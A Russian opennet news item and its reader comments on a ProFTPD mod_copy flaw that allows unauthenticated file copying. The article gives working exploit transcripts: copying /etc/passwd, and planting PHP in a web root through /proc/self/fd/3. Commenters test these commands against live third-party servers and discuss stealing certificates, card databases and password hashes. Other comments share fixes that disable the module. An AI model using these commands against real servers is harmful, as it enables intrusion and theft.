В ftp-сервере ProFTPD обнаружена (http://bugs.proftpd.org/show_bug.cgi?id=4169) опасная уязвимость, которая позволяет копировать файлы в пределах сервера без проведения аутентификации с помощью команд "site cpfr" и "site cpto". Проблема проявляется в модуле mod_copy, который позволяет выполнять команды на стадии до проведения аутентификации пользователя. Уязвимость усугубляется отсутствием возможности отключить mod_copy через файл конфигурации и наличием путей эксплуатации уязвимости, которые могут быть использованы в атаке для организации выполнения кода на web-сервере.
В настоящий момент исправления доступны (https://github.com/proftpd/proftpd/pull/109) только в виде патча (https://github.com/proftpd/proftpd/commit/3ef395d81327558e6e...) в git-репозитории проекта. Одновременно для ProFTPD предложена реализация директивы CopyEngine, через которую можно отключить mod_copy без перекомпиляции. В настоящее время в дистрибутивах не зафиксировано обновлений пакетов с устранением проблемы. Оценить появление обновлений в дистрибутивах можно на следующих страницах: RHEL 6 (https://rhn.redhat.com/errata/rhel-server-6-errata.html), RHEL 7 (https://rhn.redhat.com/errata/rhel-server-7-errata.html), Ubuntu (http://www.ubuntu.com/usn/), Debian (https://lists.debian.org/debian-security-announce/2015/), Fedora (https://admin.fedoraproject.org/updates/F21), openSUSE (http://lists.opensuse.org/opensuse-security-announce/), SLES (https://www.suse.com/support/update/), Slackware (http://www.slackware.com/security/list.php?l=slackware-secur...), Gentoo (http://www.gentoo.org/security/en/index.xml), CentOS (http://lists.centos.org/pipermail/centos-announce/2015-April...), FreeBSD (http://www.vuxml.org/freebsd/).
Пример копирования файла /etc/passwd в /tmp/passwd.copy:<font color="#461b7e">
Trying 192.168.216.115...
Connected to 192.168.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
</font>Пример организации запуска кода на web-сервере:
<font color="#461b7e">
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php
250 Copy successful
</font>Файл test.php будет содержать данные из потока STDERR, в том числе и указанный в ошибочной команде PHP-код:
<font color="#461b7e">
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file
'/<?php
phpinfo(); ?>'
for copying: Permission denied
</font>
URL: http://bugs.proftpd.org/show_bug.cgi?id=4169
Новость: http://www.opennet.me/opennews/art.shtml?num=42015
Граждане, уберите ip сервера из статьи! :)
какой ужс засветить локальный ип...
> какой ужс засветить локальный ип...там было 80.150.216.115, потом исправили
>> какой ужс засветить локальный ип...
>
> там было 80.150.216.115, потом исправилиГраждане, уберите ip сервера из комментария! :)
его уже столько раз засветили...
и ниже даже проверяли на предмет пофикса
о ужас! они опубликовали ip-адрес, зная его, хакиры смогут зверски расправиться с сервером!!111
З.Ы раз убрали адрес, тогда уже и ссылку на багрепорт тоже следует убрать, а то особо прокачаные истерички смогут сходить по ней и тоже обнаружить там ip-адрес!!!111
а лучше сразу весь ихний багтрекер в добавить реестр запрещённых сайтов, за склонение к совершению преступления
добавим, что данный мод появился в 1.3.4 - Slowpoke могут продолжать спать!
Сервак на убунте:telnet ftp.site.ru 21
Trying 81.108.142.19...
Connected to ftp.site.ru.
Escape character is '^]'.
220 ProFTPD 1.3.4a Server (Site_RU) [81.108.142.19]
site cpfr /etc/passwd
500 'SITE CPFR' not understood
site cpto /tmp/passwd.copy
503-Bad sequence of commands
503 Bad sequence of commands500 Invalid command: try being more creative
ftp и php - созданы друг для друга
> ftp и php - созданы друг для другаКто о чем, а буратино гремит бидоном :)
у них уже не работает(
Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
500 Invalid command: try being more creative
хотя не
скопипастил криво
работает
site cpto /tmp/passwd.copy
250 Copy successful
фтп демон от рута работает штоль?
Зачем вообще выполнять команды до аунтификации?
В /tmp любой юзер может писать.
в centos из коробки без него proftpd -V | grep -i copy
в сусе он shared - cd /usr/lib64/proftpd && mv mod_copy.so{,.0} && service proftpd restartтак что живем пока, жаль только что proftpd подтверждает свою дырявость...
> в centos из коробки без него proftpd -V | grep -i copy
> в сусе он shared - cd /usr/lib64/proftpd && mv mod_copy.so{,.0} && service
> proftpd restart
> так что живем пока, жаль только что proftpd подтверждает свою дырявость...В CentOS оно не так
ftp> site cpfr /etc/passwd
500 'SITE CPFR' not understood
ftp> site copy from /etc/passwd
500 'SITE COPY' not understood
ftp> site help
214-The following SITE commands are recognized (* =>'s unimplemented)
HELP
CHGRP
CHMOD
214 Direct comments to root@localhost
ftp> quit
221 Goodbye.Где Ваша дырявость находится - в Ubuntu, что ли?
читать сообщение, перед тем как что-то писать в ответ, не пробовал?
У меня Slackware-14.1. К сожалению (или счастью - не получилось ничего):
ftp> passive
Passive mode on.
ftp> dir
227 Entering Passive Mode (Hele is ftp ip address,217,234)
150 Opening ASCII mode data connection for file list
drwxr-xr-t 2 ftp ftp 4096 Mar 10 06:58 incoming
drwxrwsr-x 7 root wheel 4096 Jan 10 08:54 pub
-rw-r--r-- 1 root root 366 Oct 20 2009 welcome.msg
226 Transfer complete
ftp> site cpfr /etc/passwd
505 Security server forbids SITE commands. Contact admin.
ftp> quit
221 Goodbye.
С помощью telnet тоже не работает?
Да, тоже не работает:
230-Connected to server. Logging in...
230-220 ProFTPD 1.3.4a Server (ProFTPD Default Installation) [192.168.1.2]
230-331 Anonymous login ok, send your complete email address as your password
230-230-Welcome, archive user ftp@... !
230- You are 0 from ...
230-
230- The local time is: Fri Apr 10 10:39:52 2015
230-
230- This is an experimental FTP server. If have any unusual problems,
230- please report them via e-mail to <root@mail>.
230-
230- If you do have problems, please try using a dash (-) as the first
230- character of your password -- this will turn off the continuation
230- messages that may be confusing your FTP client.
230-
230 230 Anonymous access granted, restrictions apply
pasv
227 Entering Passive Mode (ip here,210,0)
site cpfr /etc/passwd
505 Security server forbids SITE commands. Contact admin.
quit
221 Goodbye.
С какой задницы они выдрали этот модуль? Ведь по дефолту этого модуля нет.http://www.proftpd.org/docs/modules/index.html
http://www.proftpd.org/docs/contrib/index.htmlздесь тоже не нашел.
P.S.
> ftp и php - созданы друг для другаКому що, а бабцi - курки :)
Мы же поняли, что ты не любишь php. Можешь выдыхать.
> Кому що, а бабцi - курки :)
> Мы же поняли, что ты не любишь php. Можешь выдыхать.увы, из песни ты не понял ничего...
а на php мне как-то фиолетово. речь идёт о конкретной культуре...
> речь идёт о конкретной культуре...Из тебя культура так и прет. Конкретно.
Хорошо, что я на своей toy vps-ке поставил vsftpd.
(Ожидаю советов от достопочтенных анонимусов, почему я это сделал зря.)
Зачем тебе FTP? Роль FTP прекрасно заменяют python или lighttpd + SFTP.
А SFTP не заменяет FTP?, на кой черт там питон
> Зачем тебе FTP? Роль FTP прекрасно заменяют python или lighttpd + SFTP.А питон там нафуа? Можно какой-нибудь webdav использовать, наконец, если загрузка файлов нужна.
>> Зачем тебе FTP? Роль FTP прекрасно заменяют python или lighttpd + SFTP.
> А питон там нафуа? Можно какой-нибудь webdav использовать, наконец, если загрузка файлов
> нужна.Анонимный FTP
А нефиг запихивать левые contrib-модули.
В нормальных дистрах его нет.
только vsftpd!
штатный фряшный неплох
Лучше уж pureftpd.
Это чем позвольте поинтересоваться, лучше?
Более безопасный. Фич меньше.
чем proftpd.
Согласен. Pure-ftpd vs Vsftpd сравнить не могу, ибо последний не использовал.
По-моему, оба security-first designed.
> Это чем позвольте поинтересоваться, лучше?http://www.cvedetails.com/product/16873/Proftpd-Proftpd.html...
> Лучше уж pureftpd.Он довольно топорный и меньше фич в нем реализовано.
Pure не умеет несколько разных публичных ftp на разных ip, например. Это может понадобиться в хостинге.
Centos 5, 6, 7 не подвержены.
Debian 6 не подвержен.
Ubuntu 10.04 не подвержен.Фикс для Ubuntu 14.04, Ubuntu 12.04, Debian 7
sed -i 's|LoadModule mod_copy.c|#LoadModule mod_copy.c|g' /etc/proftpd/modules.conf
service proftpd restart
вынес вперед тапками 2 модуля
mod_copy и mod_site_misc.
на FreeBSD в портах убираете в Makefile в модулях
mod_copy
в pkg-plist убираете mod_copy и mod_site_misc
сначала deinstall потом заново поставить. проверил - проблем нету
а в режиме только mod_sftp проявляется бага ?
> вынес вперед тапками 2 модуля
> mod_copy и mod_site_misc.
> на FreeBSD в портах убираете в Makefile в модулях
> mod_copy
> в pkg-plist убираете mod_copy и mod_site_misc
> сначала deinstall потом заново поставить. проверил - проблем нетутак оно и так не подвержено, нахрена эти телодвижения? модуль собирается, но не вкомпилен и не подключен по умолчанию:
# find /usr/local/ -name 'mod_cop*'
/usr/local/libexec/proftpd/mod_copy.a
/usr/local/libexec/proftpd/mod_copy.so# proftpd -l
Compiled-in modules:
mod_core.c
mod_xfer.c
mod_auth_unix.c
mod_auth_file.c
mod_auth.c
mod_ls.c
mod_log.c
mod_site.c
mod_delay.c
mod_facts.c
mod_dso.c
mod_ident.c
mod_auth_pam.c
mod_ctrls.c
mod_lang.cEscape character is '^]'.
220 ProFTPD 1.3.4d Server (ProFTPD Default Installation) [***]
site cpfr /etc/passwd
500 'SITE CPFR' not understood
help
214-The following commands are recognized (* =>'s unimplemented):
CWD XCWD CDUP XCUP SMNT* QUIT PORT PASV
EPRT EPSV ALLO* RNFR RNTO DELE MDTM RMD
XRMD MKD XMKD PWD XPWD SIZE SYST HELP
NOOP FEAT OPTS AUTH* CCC* CONF* ENC* MIC*
PBSZ* PROT* TYPE STRU MODE RETR STOR STOU
APPE REST ABOR USER PASS ACCT* REIN* LIST
NLST STAT SITE MLSD MLST
214 Direct comments to root@***
quit
221 Goodbye.
Connection closed by foreign host.
Кто-то ещё юзает это дырявое пoделие? Даже так, кто-то ещё юзает недoпротокол ftp как таковой?
> Даже так, кто-то ещё юзает недoпротокол
> ftp как таковой?Да, его поддерживают почти все l2 коммутаторы.
> Кто-то ещё юзает это дырявое пoделие?
В некоторых встраиваемых прошивках оно встроенно, sshfs тоже есть, но с шифрованием канала скорость просто атас.
А на серверах, да, эпик фейл, достаточно заголовки новостей про него почитать и сравнить с аналогичными о vsftpd, странно, что redhat это недоразумение не выпилил без возможности запилить))
> Да, его поддерживают почти все l2 коммутаторы.с tftp не путай
>> Да, его поддерживают почти все l2 коммутаторы.
> с tftp не путайА я и не путаю))
> Да, его поддерживают почти все l2 коммутаторы.А мой кЕтайский тетрис его не поддерживает.
> В некоторых встраиваемых прошивках оно встроенно,
Так там и файлы обычно не перекидывают гигазами.
> Кто-то ещё юзает это дырявое пoделие? Даже так, кто-то ещё юзает недoпротокол
> ftp как таковой?протокол может и не идеальный, но единственный который 10гбит/с линк утилизирует нормально. все эти ваши модные эсфытыпы и хытытыпы даже половины этой скорости не выжимают.
> протокол может и не идеальный, но единственный который 10гбит/с линк утилизирует
> нормально. все эти ваши модные эсфытыпы и хытытыпы даже половины этой скорости
> не выжимают.Пробовал по FTP передавать файлы между серверами (оба подключены 10 Гбит/с) в Далласе и Амстердаме, видел жалкие 30—100 Мегабит/с, в зависимости от величины суточного пинга. А вот когда выкинул FTP и заюзал tsunami, то да — совсем другое дело.
у ftp очень плохи дела, когда надо передавать много мелких файлов
Решается разрешением многопоточности.
Дела у протокола плохи тем, что пароль в чистом виде по сети ходит при авторизации, вот это реально плохо ...
http://en.wikipedia.org/wiki/FTPS
> Решается разрешением многопоточности.
> Дела у протокола плохи тем, что пароль в чистом виде по сети
> ходит при авторизации, вот это реально плохо ...Так сделайте же анонимный вход с доверенных IP адресов, и если они работают 24/7/365 (и к тому же ProFTPD от юзера nobody работает) - вполне себе безопасно...
Не выход - в одном броадкасте злодей может себе ип доверенный повесить и беда.
Ну в одном broadcast-е злодей может и свой интерфейс в promiscque mode включить, либо в bridge к нему добавить dummy0 и все Ваши, даже шифрованные, пакеты кушать и (впоследствии) расшифровывать... Чуть дольше получится, но тем не менее...Хотя несколько сомнительно - если, конечно, это белые V4 адреса приемника и получателя (обычно из существенно разных сетей), то трафик к другой сети пойдет через default GW, а не локально, либо нужно сломать саму машину с FTP и переписать на ней роутинг...
Ну, сколько можно. Пользуйтесь, scp(1).
ФТП очень даже нормальный средство передатчи файлив, только вы неумеете им пользоватся!
ProFTPd исользую на сотнях карпораттивних серверах и за 10 лет неперывной эксплоутациы небыло замечено негативных моментов использования данного професианального ПО.А истирить в камментах будут всегда, нато они и троли-истиричи...
FTP отличный протокол. Только файрвол задолбаешься настраивать и работать будет с костылями, черти-как.
> FTP отличный протокол. Только файрвол задолбаешься настраивать и работать будет с костылями,
> черти-как.ЭЭЭ... Пардон, мы ведь про iptables сейчас говорим, или у Вас BSD?
> ЭЭЭ... Пардон, мы ведь про iptables сейчас говорим, или у Вас BSD?Мы говорим про то что этот супер-протокол или требует весьма неординарных костылей (кастомный модуль connection tracking) или имеет уйму проблем. С прокси там тоже все своеобразно.
Да и времени на установку ДВУХ соединений уходит немало. По поводу чего например заливка кучи мелочи на фтп - "обосpaтьсяужаснaх!"
>> FTP отличный протокол. Только файрвол задолбаешься настраивать и работать будет с костылями,
>> черти-как.
> ЭЭЭ... Пардон, мы ведь про iptables сейчас говорим, или у Вас BSD?В BSD как раз и не надо ничего предпринимать, если у вас FTP за натом: pf и ipfw сами его стейты разруливают "из коробки".
В случае iptables нужно лишь подгрузить conntrack-helper в ядро.Не rocket sience же.
твоя учительница русского поседела только что
Всегда использую PureFTPd отличный сервер для FTP безопасный/функциональный.
У ProFTPD такой здоровенная история уязвимостьей, что им пользуются только камикадзы.
> У ProFTPD такой здоровенная история уязвимостьей, что им пользуются только камикадзы.когда нужен широкий функционал, то выбора особо то и нет. Так что приходится платить
Точно, ещё несколько лет назад увидев в новостях несколько раз подряд сообщения об уязвимостях в ProFTP перешёл на vsftpd.
Какая прелесть...Блин, счастье, что никогда не рассматривал эту студенческую поделку ака ProFTPD всерьёз. Только vsftpd, только хардкор.
> Какая прелесть...
> Блин, счастье, что никогда не рассматривал эту студенческую поделку ака ProFTPD всерьёз.
> Только vsftpd, только хардкор.потому что у vsftpd функционала - кот наплакал, поэтому и уязвимостей находя намного меньше.
Простите, но древнющему говну мамонта а-ля FTP весь этот "функционал" совершенно без надобности. Основное его назначение - дать клиенту, не умеющему ничего другого, спокойно закопировать туда-сюда пару файлов. Для себя же (внутри) проще юзать scp, sftp (не путать с FTPoTLS), rsync и прочее.
> Простите, но древнющему говну мамонта а-ля FTP весь этот "функционал" совершенно без
> надобности. Основное его назначение - дать клиенту, не умеющему ничего другого,
> спокойно закопировать туда-сюда пару файлов. Для себя же (внутри) проще юзать
> scp, sftp (не путать с FTPoTLS), rsync и прочее.Раз вам не надо - значит и другим не надо. Ясно.
а про scp пацаны-то и не знали...
> Раз вам не надо - значит и другим не надо. Ясно.Ну надо - хорошо. Поломали в очередной раз - тоже хорошо. Dixi.
> Простите, но древнющему говну мамонта а-ля FTP весь этот "функционал" совершенно без
> надобности. Основное его назначение - дать клиенту, не умеющему ничего другого,
> спокойно закопировать туда-сюда пару файлов. Для себя же (внутри) проще юзать
> scp, sftp (не путать с FTPoTLS), rsync и прочее.если вам нужен только ftp, то безусловно, proftpd вам точно не нужен, а хватит vsftpd. Если же вам нужно что то больше, чем банальный ftp, то тут и начинаются проблемы.
> Если же вам нужно что то больше, чем банальный ftpто лучше FTP вообще не использовать ни под каким соусом.
>> Если же вам нужно что то больше, чем банальный ftp
> то лучше FTP вообще не использовать ни под каким соусом.А как обмениваться многогигабайтными файлами между кучей поставщиков/партнёров/клиентов маленькой фирме?
А теперь найдите в своей фразе взаимоисключающие вещи.
> Какая прелесть...
> Блин, счастье, что никогда не рассматривал эту студенческую поделку ака ProFTPD всерьёз.
> Только vsftpd, только хардкор.Сравните объем кода и функционала у этих двух программ.
Вы только что сделали сравнение вида "postgres vs sqlite", обозвав первый студенческой поделкой.
На Ubuntu комментируем в /etc/proftpd/modules.conf строку LoadModule mod_copy.c, рестартим proftpd - PROFIT! "500 SITE CPFR" not understood. И кто сказал, что модуль нельзя выключить? Проверено на версии 1.3.5rc3
Подскажите, почему при тестирование некоторых серверов с одинаковыми версиями ProFTPD, есть возможность выполнять команды "site cpfr" и "site cpto", а в некоторых их нету. Хотя вроде версии ProFTPD одинаковые.Это зависит от ОС?
> Это зависит от ОС?скорее уж от опций сборки
Debian Squeeze: ProFTPD версии 1.3.3a, mod_copy там ещё нет.Debian Wheezy: ProFTPD версии 1.3.4a, mod_copy отключается в /etc/proftpd/modules.conf.
Проверил на Debiane, да в папку tmp копирует,
НО при копирование в /var/www/ выдает Access denied
:/
Не знаю, как они там скопировали test.php... (
> Проверил на Debiane, да в папку tmp копирует,
> НО при копирование в /var/www/ выдает Access denied
> :/
> Не знаю, как они там скопировали test.php... (В /tmp может писать любой юзер, потому что. А копирование идёт от юзера, от которого запущено приложение.
>> Проверил на Debiane, да в папку tmp копирует,
>> НО при копирование в /var/www/ выдает Access denied
>> :/
>> Не знаю, как они там скопировали test.php... (
> В /tmp может писать любой юзер, потому что. А копирование идёт от
> юзера, от которого запущено приложение.Тогда какие ещё есть мысли на этот счет? Что можно сделать? Используя данную уязвимость, были мысли прописать в крон что-нибудь, но ведь там тоже Access Denied
>>> Проверил на Debiane, да в папку tmp копирует,
>>> НО при копирование в /var/www/ выдает Access denied
>>> :/
>>> Не знаю, как они там скопировали test.php... (
>> В /tmp может писать любой юзер, потому что. А копирование идёт от
>> юзера, от которого запущено приложение.
> Тогда какие ещё есть мысли на этот счет? Что можно сделать? Используя
> данную уязвимость, были мысли прописать в крон что-нибудь, но ведь там
> тоже Access Deniedну, например, спереть что душе угодно, от сертефикатов, до баз с кредитками и файликов с хешами паролей...
>[оверквотинг удален]
>>>> НО при копирование в /var/www/ выдает Access denied
>>>> :/
>>>> Не знаю, как они там скопировали test.php... (
>>> В /tmp может писать любой юзер, потому что. А копирование идёт от
>>> юзера, от которого запущено приложение.
>> Тогда какие ещё есть мысли на этот счет? Что можно сделать? Используя
>> данную уязвимость, были мысли прописать в крон что-нибудь, но ведь там
>> тоже Access Denied
> ну, например, спереть что душе угодно, от сертефикатов, до баз с кредитками
> и файликов с хешами паролей...Интересно было бы увидить пример, допустим мы можем копировать файлы, в папку tmp, но как с неё считать их? В